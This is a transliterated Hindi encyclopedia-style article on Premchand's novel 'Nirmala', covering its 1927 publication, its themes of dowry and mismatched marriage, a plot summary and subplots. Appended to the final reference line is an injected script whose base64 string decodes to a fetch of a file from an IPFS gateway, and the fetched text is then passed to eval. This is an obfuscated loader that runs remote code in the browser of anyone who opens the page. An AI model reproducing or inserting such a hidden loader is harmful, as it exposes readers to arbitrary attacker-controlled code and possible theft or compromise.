निर्मला -प्रेमचंद
nirmala -premachand
| |
| lekhak | muanshi premachand |
| mool shirshak | nirmala |
| prakashak | rajapal prakashan |
| prakashan tithi | 1927 |
| desh | bharat |
| prishth: | 140 |
| bhasha | hindi |
| vishay | samajik, yatharthavadi |
| prakar | upanyas |
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premachand dvara likhit 'nirmala' upanyas, jisaka nirman kal 1923 ee. aur prakashan ka samay 1927 ee. hai. premachandr ki ganana hindi ke nirmataoan mean ki jati hai. kahani aur upanyas ke kshetroan mean unhoanne pahali saphal rachanaean dian jo gun tatha akar donoan drishtiyoan se anyatam haian. premachandr ke jin upanyasoan ne sahity ke manak sthapit kie, unamean nirmala bahut age mana jata hai. isamean hindoo samaj mean stri ke sthan ka sashakt chitran kiya gaya hai. is par bana dooradarshan ka siriyal bhi bahut lokapriy hua hai.[1]
pramukh upanyas
premachand ka yah upanyas ‘‘nirmala’’ chhota hote hue bhi unake pramukh upanyasoan mean gina jata hai. isaka prakashan aj se lagabhag 84 sal pahale 1927 mean hua tha. is upanyas mean unhoanne dahej pratha tatha bemel vivah ki samasya uthaee hai aur bahusankhyak madhyamavargiy hindoo samaj ke jivan ka b da yatharthavadi marmik chitran prastut kiya hai. unake any upanyas nimnavargiy tatha gramin krishak jivan ka chitran karate haian tatha rashtriy svadhinata tatha samanata ka paksh prabalata se prastut karate haian. is shreni mean 'godan', 'rangabhoomi', 'karmabhoomi, 'sevasadan', 'premashram' adi upanyas ate haian jo sab gaandhi vicharadhara se prabhavit adarshavadi tatha am janata ke jivan se sanbandhit hai. 'gaban' bhi 'nirmala' ki hi bhaanti striyoan ki samasya par hai parantu yah ek any samasya-striyoan ke abhooshan prem ki samasya prastut karata hai.[2]
kathanak
premachand krit 'nirmala' upanyas mean anamel vivah aur dahej-pratha ki du:khaant kahani hai. upanyas ke aant mean nirmala ki mrityu is kutsit samajik pratha ko mita dalane ke lie ek bhari chunauti hai. pita udayabhanu lal ki mrityu ho jane par mata kalyani dahej n de sakane ke karan apani putri nirmala ka vivah bhalachandr aur rangili ke putr bhuvan mohan se n kar boodhe vakil totaram se kar deti hai. totaram ke tin putr pahale hi se the, is par bhi unaki vilasita kisi prakar kam n huee. itana hi nahian, nirmala ke ghar mean ane par ek navayuvati vadhoo ke hriday ki umangoan ka adar aur use apana prem dene ke sthan par totaram ko apani patni aur apane b de l dake mansaram ke parasparik sambandh par vilasitajany sandeh hone lagata hai, jo aantatogatva n keval mansaram ke pranant ka karan banata hai, varanh sare parivar ke lie abhishap ban jata hai.
doosara l daka jiyaram bhi ghar ke vishakt vatavaran ke prabhavaantargat kusang mean p dakar nirmala ke abhooshan churakar le jata hai. rahasy ka udhghatan hone par vah bhi atmahatya kar leta hai.
sabase chhota l daka siyaram virakt hokar sadhu ho jata hai. parivar mean nirmala ki nanad rukmini usako phooti aankhoan bhi nahian dekh sakati aur pray: nirmala ke lie du:kh aur klesh ka karan banati hai. totaram do putroan ke virah se santapt hokar siyaram ko dhooandhane nikal p date haian. udhar bhuvan mohan nirmala ko apane prem-pash mean phaansane ki cheshta karata hai aur asaphal hone par atmahatya kar leta hai. nirmala ke jivan mean ghutan ke sivay aur kuchh nahian rah jata. aant mean vah mrityu ko prapt hoti hai. jis samay usaki chita jalati hai, totaram laut ate haian. is prakar upanyas ka aant karoonapoorn hai aur ghatana-pravah mean atyant tivrata hai.
- upakathayean
nirmala aur totaram ki is pradhan katha ke sath sudha ki kahani ju di huee hai. totaram ko jab nirmala aur mansaram ke sambandh mean niradhar sandeh hone lagata hai aur, nirmala apane ko nirdosh siddh karane ke lie mansaram ke prati nishthurata ka abhinay karati hai aur jab mansaram ko ghar se hatakar bordig mean dakhil kar diya jata hai, to balak mansaram ke hriday ko marmik aghat pahuanchana hai. usaki dasha din-par-din girati jati hai, aur aant mean apane pita ka bhram doorakar vah mrityu ko prapt hota hai. totaram ko manasik vikshobh hota hai. isi samay samay premachand ne sudha aur usake pati d aau. bhuvan mohan ka (jisake sath nirmala ka pahale vivah hone vala tha) nirmala se mitratapoorn sambandh sthapit karaya hai. sudha aur nirmala ghanishth mitr ban jati haian. sudha apane shil saujany aur sahanubhootipoorn hriday se nirmala ko mugdh kar leti hai. vah nirmala ki chhoti bahan krishnaa ka vivah apane devar se karati hi nahian varanh nirmala ki mata ki gupt roop se adhik sahayata bhi karati hai. nirmala ke mayake mean krishna ke vivah ke bad sudha ka putr mar jata hai. nirmala ke bhi ek bachchi paida hoti hai. use lekar vah apane ghar laut ati hai. ek din sudha ki anupasthiti mean jab nirmala usake ghar gayi to d aau. bhuvan mohan atmasanyam kho baithate haian. pata lagane par sudha apane pati ki aisi bhartsana karati hai ki vah atmaglani ke vashibhoot ho atmahatya kar leta hai. is ghatana ke pashchath to nirmala ke jivan ki vishadapoorn katha apane charam sima par pahuanch jati hai.
- hasy
premachand ne bhalachand aur moteram shastri ke prasang dvara upanyas mean hasy ki srishti ki hai.
- saphal upanyas
akasmik roop se ghatit hone vali kuchh ghatanaoan ko chho dakar 'nirmala' ke kathanak ka vikas sidhe-saral dhang se hota hai. prasangik kathaoan ke karan usamean duroohata utpann nahian huee hai. kathanak mean kasavat hai. katha atyant dridhata ke sath vivrit hoti huee apane aantim lakshy tak pahuanch jati hai.
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tika tippani aur sandarbh
dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 305.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>